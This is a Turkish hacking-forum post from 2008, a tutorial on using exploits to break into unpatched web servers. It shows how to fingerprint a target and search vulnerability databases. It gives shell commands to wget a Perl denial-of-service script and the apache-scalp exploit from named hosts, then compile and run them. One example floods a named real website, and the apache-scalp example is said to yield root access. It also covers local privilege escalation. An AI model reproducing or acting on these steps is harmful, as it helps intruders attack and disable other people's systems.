Çat Köyüm
[New messages · Members · Forum rules · Search · RSS ]
  • Page 1 of 1
  • 1
Forum » Bilgisayar ve Donanım » Güvenlik ve güvenlik açıkları » exploit
exploit
MeRToL Date: Sunday, 13-January-2008, 23.33.15 | Message # 1
en yetkili kisi
Group: Administrators
Messages: 29
Respect: 2
Status: disarda
Exploit Nedir, Nasýl Kullanýlýr ?

Hack ve illegalite ye merak salanlarýn kýsa zamanda karþýlaþtýðý bi terimdir exploit.Peki Exploit nedir ne iþe yarar ? Bu soruyu yanýtlamak için öncelikle bazý terimlerin anlamlarýný doðru bilmek gerekiyor. Biliþim teknolojileri, internet ve güvenlik konularý ülkemizde geliþme sürecinde olduðu için ilgili birçok terimin Türkçe karþýlýðý kullanýlmamakta. Bu yüzden Exploit konusunu iþlenirken karþýlaþacaðýmýz Ýngilizce terimlerin Türkçe karþýlýklarýna deðinmek istiyorum oncelikle.

Exploit terimini genelde Vulnerability terimiyle birlikte görürüz. Bu iki kavram birbiri ile iliþkilidir. Vulnerability, hassasiyet, korunmasýzlýk, savunmasýzlýk anlamlarýna gelir.Hedef sistemde bulunan savunmasýzlýklar saldýrýlacak yerlerdir. Bir sistemi delmek için önce savunmasýzlýklarý tesbit edilir. Bu noktadan sonra saldýrýyý gerçekleþtirmek için gerekli Olan þey exploit dir. Exploit, kelime karþýlýðý itibarý ile "Ýstismar etmek, Sömürmek" anlamlarýna gelir. Aslýnda Exploit olarak adý geçen program script'lerine ExploitScript demek daha doðru olur, ancak Exploit olarak imlendiði için bizde Exploit diyeceðiz. Exploitler Hedef sistemin savunmasýz inþaa edilen yapýlarýný sömürülür ve sisteme sýzma gerçekleþtirilir. Exploit bu savunmasýzlýklarý sömüren programlara verdiðimiz genel isimdir.

Hedef bir sisteme illegal bi giriþimde bulunulacaðý zaman. Once savunmasýz yeri (vulnerability) tesbit edilmelidir. Ancak bu aþamadan sonra gerekli olan exploit program bulunup iþletilir açýk sömürülür. Bu noktada, sistemdeki açýðý tesbit etmek de, bu açýðý kullanacak programlarý yazmak ta üst düzey bilgi ve uðraþ gerektiren iþlerdir ve bu iþlerin nasýl yapýlacaðý da konuya giriþ niteliðindeki bu dokumanýn konusu dýþýndadýr. Þoyle güzel bi durum varki, güvenlik uzmanlarý ve hacker lar sistemlerin açýklarýný bulmak ve bu açýklarý test edecek ve ya sömürecek olan gerekli exploitleri yazmak için sürekli uðraþmaktadýrlar. Bu gun birçok guvenlik sitesinde birçok sistemin önceden tespit edilmiþ savunmasýzlýklarý ve bunu sömürecek olan exploit programlarý bulunmaktadýr.

Güvenlik siteleri sürekli guncel sistemlerin açýklarýný bulur ve mümkünse bu açýðý sömürecek olan programý(exploit) da açýkla beraber yayýnlarlar. Güvenliðe önem veren sistem sahipleri de bunlarý takip ederek açýklarýný kapatýrlar. Web'de güvenlik bu þekilde iþler. Peki tespit edilen bu açýklarý takip edip gerekli yamalarý yapmayan web site ve sunucu sahipleri yok mu. Cevap; Ýstemediðimiz kadar cok var. O zaman hedef sistem doðru analiz edilip olasý açýklar ve exploitleri denenerek, güncellemelerini yapmamýþ sistemler kolaylýkla alt edilebilirler.

Exploitler temel olarak ikiye ayrýlýr: Local ve remote. Local sistemin icinde iken yapýlan saldýrý. Remote ise sisteme dýþardan yapýlan saldýrýyý temsil eder. Local saldýrýlar daha etkili olmasýna raðmen önceden sisteme girilmiþ olma zorunluluðu taþýdýðý için her zaman ele geçmeyen bi durumdur. Remote ise daha sýk kullandýðýmýz kendi bilgisayarýmýzdan uzaktaki sunucu bilgisayara yapýlan saldýrýdýr. Ýlk once uzaktan yapýlan saldýrýlarda kullandýðýmýz remote exploitlere deðinecem.Olaya ve iþleyiþine açýklýk getirdikten sonra artýk iþe koyulalým.

Vulnerability-exploit ikilisini kullanarak sistemlerin nasýl alt edilebileceðine gelelim. Ýlk bulmamýz gereken þeyin savunmasýzlýk olduðunu soyledik. Baþlangýç noktamýz burasý. Bunun icin ilk önce hedef sistem doðru bir þekilde analiz edilmeli. Sistem diyoruz, bir sistemin oluþmasýný saðlayan birçok yapý vardýr. Bu yapýlardan birinin savunmasýzlýðý tüm sistemi alt etmemizi saðlayabilir. O zaman sistemin yapý taþlarý tek tek tespit edilmelidir. Bir web sitesinin ayakta durmasýný saðlayan temel sistem sitenin bulunduðu sunucu ve sunucuyu barýndýran iþletim sistemidir. Buradan baþlamak doðru bi secim olur. Hedef bir sistemin iþletim sistemi, sunucusu ve versiyonunu tespit etmenin en bilindik ve kolay yolu meþhur site netcraft dýr. www.netcraft.com adresinden hedef sitenin adý girilerek bu bilgiler elde edilir. Þimdi iþletim sisteminin ve sunucunun önceden bulunmuþ açýklarýný tespit etmeðe geldi sýra. Bunun icin de gene meþhur bi güvenlik sitesi adý verecem: www.securityfocus.com . Ýki site de ingilizce siteler. Maalesef Turkiye'de henüz böyle geniþ kapsamlý güvenlik siteleri yok. securityfocus'da bugtraq bölümüne giriyoruz. Burasý açýklarýn listelendiði yer.Burada vulnerability kýsmýna giriyoruz. Önceden bulunmuþ yüzlerce acýk var karþýmýzda. Biz hedef sistemimizin ve sunucumuzun adýna ve versiyonuna gore aramalar yaptýrýyoruz. Mesela windows 2000 server bi iþletim sistemi ve iis sunucu var hedef sistemde. microsoft, iis, windows 2000 gibi arama sonuçlarýnda birçok sonuç bulduðumuzu göreceksiniz. Buradan sürüm ve versiyonlarýna bakarak hedef sistemimize uyan acýklara týkladýðýmýzda. Bu savunmasýzlýk la ilgili geniþ açýklamalar, etkilenen ve etkilenmeyen sistemler, varsa exploit i gibi birçok bilgiye ulaþýyoruz. Eger hedef sistemimizin bilgilerine uyuþacak bi acýk tespit ettiysek. Exploit sekmesine týklayýp. Exploit programýn linkine ulaþýyoruz. Bu noktadan sonra exploiti nasýl kullanacaðýmýza geliyor sýra. Ama ben ondan once hedef sistem icin baþka bilgi toplama ve exploit bulma yöntemlerine daha deðinmek istiyorum önce.

Hedef sistemi oluþturan tek þey tabiî ki iþletim sistemi ve sunucu deðildir. Bunlarýn iþleyiþine yardýmcý bir cok modul ve program vardýr. Mesela dosya alýþveriþi saðlayan ftp sunucusu, mail sunucularý, asp, php gibi dinamik web programlama dillerinin çalýþmasýný saðlayan program ve modüller,sunucudaki databease iþlemlerini yürüten moduller, uzaktan yonetim gibi sunucuya ek iþlevsellik katan programlar ve daha bircok yapý vardýr bu sistemin içinde. Bunlarýn bazýlarý belli portlarý ortak kullanýrken, bazýlarý kendi özel portlarýnda calýþýrlar. Mesela Linux gibi bir unix tabanlý sunucuda deamon denilen, yapýlacak iþleri bölüþmüþ birçok program vardýr. Bu modul, deamon ve programlarýn her birinin isimleri, versiyonlarý çeþitli program ve yöntemlerle tespit edilebilir. Hepsinin de ufak bir savunmasýzlýðý sistemi alt etmemizi saðlayabilir. Bunlarýn tesbiti, olasý vulnerability ve exploitlerinin teminleri zaman ve tecrübeyle öðrenilecek þeylerdir. Bunlara ek olarak hedef sitede varsa acýk kodlu asp nuke, php nuke gibi portallarýn da sürümleri belirlenerek, ki bu html kodlarýnda "powered by" diye baþlayan yere bakma suretiyle kolayca elde edilebilecek bi bilgidir, önceden bulunmuþ vulnerability ve exploitleri bulunabilir. securityfocus a alternatif bircok site vardýr exploit temini icin. Ayrýca herangi bir arama motorunda mesela "apache 1.3 vulnerability" veya "apache 1.3 exploit" gibi aramalar yaptýrýlarak önceden tespit ettiðimiz linux bir iþletim sisteminde apache 1.3 sunucu iþleten
bi hedef icin exploit aratabiliriz.

Bu noktadan sonra hedefle ilgili bilgileri toplayýp olasý exploitlere ulaþtýðýmýzý var sayýyorum ve exploit i nasýl kullanacaðýmýza geciyorum.Exploitler programlardýr dedik. Ama exploitleri çoðu zaman program halinde bulamazsýnýz. Program kodlarý halindedirler. Bu kodlarý kullanarak programý oluþturma iþi bize düþer.Program kodlarýndan çalýþtýrýlabilir programlar oluþturma iþine compile (derleme) diyoruz. Bu iþi gerçekleþtirmek icin compiler denen programlar kullanýlýr. Her programlama dili için ayrý compilerlar vardýr. Exploitler genelde C ve perl dilinde yazýlýrlar. Bu kodlarý compile ederken dikkat edilecek bi husus da exploit programýn hangi dilde yazýldýðýndan baþka hangi iþletim sistemi icin yazýldýðýdýr. Genel olarak tanýdýðýmýz iki iþletim sistemi var. Biri microsoft windows tabanlý sistemler.Dieri unix tabanlý linux ve türevi iþletim sistemleri. Windowsda derlenmesi icin yazýlmýþ exploitler icin compiler programlar kullanmak gerekir. Çünkü windows da hazýr gelen bi C compiler yoktur. Borland en meþhur C compilerlarýndan biridir. Programý bi yerlerden bulup kullanýmýný öðrenmek size kalmýþ.Unix tabanlý sistemlerde ise ayrýca bir compiler kullanmaya gerek yoktur çünkü sistem kendi içersinde compilerý barýndýrýr. Exploitlerin çoðu unix tabanlý sistemler icin yazýlýr. Birçoðumuz windows sistemler kullandýðýmýz icin nete acýlan bi linux sistem bulma konusunda zorluk çekiyor olabiliriz. Bu noktada shell denen kavramý incelememiz gerekiyor.

Unix tabanlý sistemler daha çok server makineler olarak tasarlanmýþlardýr. Bir cok kullanýcý hesabý açma ve bu hesaplardan sistemi birçok kullanýcýya kullandýrma yetisine sahiptirler. Bu tür kullanýcý hesaplarýna shell hesabý diyoruz. Aslýnda shell, unix sistemlerde windowsdaki dos gibidir. Siyah bi komut satýrýdýr. Nette bu tür shell hesabý veren paralý ve parasýz bir cok server bulunmaktadýr. Exploitlerin çoðu Unix tabanlý sistemlerde çalýþacak þekilde kodlandýðý icin ya bilgisayarýmýza linux kurmamýz gerek ya da bir shell hesabý almamýz lazým bi yerden. Bu dokümanda nasýl shell bulacaðýnýzý ya da nasýl linux kuracaðýnýzý anlatýlmayacaktýr. Döküman arþivi içerisinde konu ile ilgili makaleleri inceleyerek bu konu hakkýnda da geniþ bilgiyi bulabilirsiniz Bi shell'inizin olduðunu varsayarak exploiti nasýl derleyip kullanacaðýnýza geciyorum..

Shell, uzaktaki server bi bilgisayara baðlanarak o bilgisayarý kýsýtlý haklarla kendi bilgisayarýmýz gibi kullanmamýza yarar. Önce shell hesabýmýza nasýl baðlanacaðýmýzdan bahsedelim. Telnet uzaktan bir bilgisayara baðlanmanýn en bilindik yoludur. Bilgisayarýnýzdan komut istemine ulaþýn.Baþlat->çalýþtýr cmd (98 kullananlar icin command) yazýn entera basýn. Ms Dos acýldý. Þimdi telnet komutu ile shell hesabýmýzý aldýðýmýz servera baðlanacaðýz.

telnet 144.122.199.33

Burada yazdýðým ip yerine shell hesabýnýzýn bulunduðu bilgisayarýn adýný veya ip sini yazacaksýnýz. Telnet otomatik olarak 23. porttan hedefe baðlanmaya çalýþacaktýr. Eðer shell aldýðýmýz sunucu 23. porttan baðlantýyý destekliyorsa karþýnýza hoþ geldin mesajý cýkacak. Kullanýcý adý ve þifre soracak. Shell hesabýný aldýðýnýz yerde verilen kullanýcý adý ve þifrenizle giriþ yaptýnýz. Artýk unix tabanlý bir bilgisayarýn icindesiniz ve size verilen haklar sýnýrýnda o bilgisayarý kullanabilirsiniz. Nasýl kullanacaðýmýza geçmeden önce baþka bir baðlantý þekline daha deðinelim..

Telnet protokolü verileri þifrelemeden alýp verdiði icin her sunucu bu protokolü kullanmayý tercih etmeyebilir. Bunun alternatifi ve daha guvenli olan bir baðlantý biçimi de 22. porttan gerçekleþtirilir. SSH dediðimiz bu protokolü kullanmak icin dos yeterli deðildir. Putty adýndaki program 22. porttan baðlantýlar icin kullanýlabilir. Putty yi netten kolayca bulabilirsiniz. Putty yi açýnca direk "host name or ip adress" kýsmýna baðlantýnýn yapýlacaðý sunucu yazýlýr. Port varsayýlan olarak 22 dedir zaten. Sonra open butonuna basmak yeterli. Shell hesabýnýza gene kullanýcý adýnýz ve þifrenizle giriþ yapabilirsiniz.

Unix tabanlý sunucumuza baðlandýk. Þimdi exploiti nasýl kullanacaðýmýza gelelim. Exploitler genelde C ve perl dillerinde yazýlýr dedik. C dilinde yazýlanlarýn çalýþtýrýlabilir dosyaya dönüþtürülmek için derlenmesi gerekir. Perl ile yazýlanlarýn ise derlenmeye ihtiyacý yoktur. Unix sistemler perl dilindeki satýrlarý nasýl calýþtýracaðýný derleme ihtiyacý duymadan bilir. Bir ornek olsun diye AventGrup bünyesinde hazýrlanmýþ olan antirusperl exploitinin kullanýmýný anlatalým. Önce exploiti AventGrup dan çekelim.
NOT: Bu makalede bundan sonra kullanacaðýmýz shell komutlarýndan once geçen "#" iþareti shell prompt'unu ifade ediyor. Yazacaðýnýz shell komutlarýndan once bu iþareti yazma gibi bi yanlýþa düþmeyin.

#wget http://www.hackeriz.com/arsiv/yazilimlarimiz/exploitl.pl

Burada wget komutu shell de internetten dosya çekmek için kullanýlýr. Bunu yazýp enter a basýnca AntiRUSPerl.pl i hesabýmýza çektik. Þimdi shell de bize ayrýlan klasörde ne var ne yok diye bi bakalým. Dos da kullandýðýmýz dýr komutu yerine ls kullanýyoruz shell de. "ls" yazdýk. Çýkan listede AntiRUSPerl.pl i goreceksiniz. Þimdi bu perl dosyasýný calýþtýrmanýn iki yolu var. Birincisi, önce dosyanýn calýþtýrýlabilir hale getirilmesini saðlayýp ardýndan "perl" komutunu caðýrarak perl dosyamýzý calýþtýrmasýný saðlamak. Þu þekilde:

Þimdi bu perl dosyasýný çalýþtýrýlabilir bi þekle cevireceðiz.

#chmod +x exploit.pl

yazdýk. chmod komutuyla dosyaya çalýþtýrýlabilme hakký atadýk. Artýk kullanýma hazýr.

#perl exploit.pl

yazýp enter dedik ve program calýþtý.

Ýkinci perl dosyasý çalýþtýrma yolu ise biraz daha meþakatli fakat bilinmesi gereken bir yol. Bu sefer "perl" komutunu çaðýrmadan dosyamýzý calýþtýrazaðýz.Dosyamýzý "chmod" komutu ile çalýþtýrýlabilir bir hale çevirmeden önce þu iþlemi gerçekleþtiecez. Perl dosyasýný calýþtýrmak icin sisteme bunun bir perl dosyasý olduðunu, ona gore execute edeceðini bildiren bi satýr ekliyeceðiz þimdi AntiRUSPerl.pl dosyasýna. Bunun icin meþhur unix editörü pico yu kullanacaz.

#pico exploit.pl

yazdýk ve enter dedik. pico perl dosyasýný açtý. Þimdi dosyanýn baþýna þu satýrý ekliyoruz:
#!/bin/perl
Bu ilk satýr sunucuya perl i calýþtýrabilmesi icin gereken yolu kullanmasýný söylüyor. Her sunucuda bu yol /bin/perl olmayabilir "perl" komutunun bulunduðu klasore gore bu yol deðiþir.Gerektiðinde sunucudan bu bilgi edinilebilir . Ama genelde çoðu sunucularda boyledir. Bu satýrý ekledikten sonra ctrl-x yapýp cýkýyoruz pico dan. Cýkmadan once bize dosyaya yapýlan deðiþiklikleri kaydedeyim mi diye soruyor "y" ye basýp sonra enter diyoruz. Þimdi perl dosyamýzý gene "chmod" komutu ile çalýþtýrýlabilir bir hale dönüþtürüyoruz.

#chmod +x exploit.pl

Artýk dosyamýzý her seferinde "perl" programýný çaðýrmadan çalýþtýrabiliriz. Þu þekilde:

#./exploit.pl

yazýp enter dedik ve program calýþtý. Burdaki programýn adýndan onceki "./" kýsmý programýn bulunduðumuz klasorde olduðunu ifade ediyor.Boylelikle programý calýþtýrýrken bulunduðumuz klasorun yolunu yazmak zorunda kalmýyoruz.
Exploit'imiz calýþtýrýlýnca bize kendisini nasýl kullanacaðýmýzý da anlatýyor.Ýlgili kullaným detaylarýný inceleyince aþaðýdaki gibi örnek bir giriþim yapabileceðimizi bize iletiyor.

#perl AntiRUSPerl.pl www.mazafaka.ru /forum/index.php 7500

yazarak programýn www.mazafaka.ru sitesine 7500 tane istek de bulunmasýný ve böylece sitenin isteklere cevap veremeyip kullanýlmaz hale gelmesini saðlýyoruz.

Perl dilinde yazýlmýþ bi exploiti nasýl çalýþtýracaðýmýzý öðrendik. þimdi C dilinde yazýlmýþ bir exploite gelelim. Gene örnekle açýklayalým.

#wget http://packetstorm.trustica.cz/0206-exploits/apache-scalp.c

wget komutuyla packetstorm.trustica.cz adresinden bu exploiti çekiyoruz. Bu exploit unix tabanlý olan OpenBSD 3.x x86 iþletim sistemine sahip sunucularda Apache 1.3.20, 1.3.22, 1.3.23, ve 1.3.24 versiyon larýnda test edilmiþ uzaktan chunking açýðýný kullanarak sunucuda root olmamýzý saðlayan bi exploit. Diyelimki hedef sistemimiz OpenBSD ve web sunucusu olarak Apache 1.3.20 iþletiyor. Ve bu açýðýn yamasýný yapmamýþ. Þimdi çektiðimiz bu exploiti derleyip hedefimize saldýrmak icin kullanýyoruz. C kodlarýný çalýþtýrýlabilir programlara dönüþtürmek icin shell de kullandýðýmýz compiler komutu "gcc"

#gcc -o apache-scalp apache-scalp.c

yazdýk ve enter a bastýk. Shell, kodlarý derleyip ayný klasörde apache-scalp diye çalýþtýrýlabilir bi dosya oluþturacak.Gcc komutunun kullanýmýný açýklamak adýna Yukardaki satýrda"gcc -o apache-scalp apache-scalp.c" yerine "gcc -o dosya1 apache-scalp.c" yassaydýk mesela, apache-scalp.c dosyasýndan apache-scalp yerine dosya1 adýnda bir çalýþtýrýlabilir dosya oluþturacaktý. Ben ilkini yazdýðýmýzý varsayarak devam ediyorum.

#./apache-scalp

yazýp enter a bastýk. Program çalýþtý ve bize kendisini nasýl kullanacaðýmýzý ve muhtemel hedeflerin listesini verdi. Þu þekilde

Usage: ./a.out
Using targets: ./apache-scalp 3 127.0.0.1:8080
Using bruteforce: ./apache-scalp 0x8f000 127.0.0.1:8080

--- --- - Potential targets list - --- ----
Target ID / Target specification
0 / OpenBSD 3.0 x86 / Apache 1.3.20
1 / OpenBSD 3.0 x86 / Apache 1.3.22
2 / OpenBSD 3.0 x86 / Apache 1.3.24
3 / OpenBSD 3.1 x86 / Apache 1.3.20
4 / OpenBSD 3.1 x86 / Apache 1.3.23
5 / OpenBSD 3.1 x86 / Apache 1.3.24
6 / OpenBSD 3.1 x86 / Apache 1.3.24

Yukarýdaki kullaným talimatlarýna göre ve hedef sistemimizin OpenBSD 3.1 x86 / Apache 1.3.24 olduðunu varsayarak mesela þu þekilde exploiti çalýþtýrýyoruz.

#./apache-scalp 5 hedefip:80

hedefip yerine hedef sunucumuzun ipsini yazdýk. Exploiti çalýþtýrýyoruz. Eðer sistem açýðý kapatmamýþsa exploit bizi sunucu bilgisayara baðlýyor ve artýk orda root'uz (yöneticiyiz) hic bi sýnýrlamamýz yok. Tek sýnýrlamamýz bildiðimiz shell komutlarý ama Unix tabanlý sistemler için shell komutlarý bu dokümanýn konusu deil. Shell komutlarýný kullanarak sunucuya istediðimizi yapabiliriz.

Bu iki örnekte de remote exploitleri iþledik. Local exploitler ise bulunduðumuz sunucuya saldýrmak icin kullanýlýr. Shell hesabýný aldýðýmýz sunucuyu düþünelim. Burda biz içerdeyiz zaten ama sýnýrlý haklarýmýz var. Bize ayrýlan alan dýþýnda hicbir þey deðiþtiremeyiz. Ama local bi exploit kullanýlarak burda da sýnýrlamalarýmýzý kaldýrmak ve root olmak mümkün. Remote exploitlerin kullanýmý ile pek bi farký yok bunlarýn da. Sunucuya exploit kodlarý çekilir. Derlenir ve exploit calýþtýrýlýr. Eger exploitin sömürdüðü savunmasýzlýk sunucu da mevcutsa root oluruz...

Bu makalede Exploit'ler ve Kullanýmý hakkýnda temel bilgi edindik ve kullanýmlarýný inceledik. Mevcut örneklendirmeler hemen her Exploit yazýlýmý için ayný prosedürle çalýþtýrýlabilir. Kullaným detaylarý ve yaþanabilecek olasý sorun ve problemler için "AventPlatform" bünyesi içerisindeki "Münferit-Destek" bölümüne sorularýnýzý iletebilirsiniz.


ALLAH Türk'ü korusun ve yuceltsin..

www.catkoyum.com

 
Forum » Bilgisayar ve Donanım » Güvenlik ve güvenlik açıkları » exploit
  • Page 1 of 1
  • 1
Search:

Copyright MyCorp © 2024 Create a free website with uCoz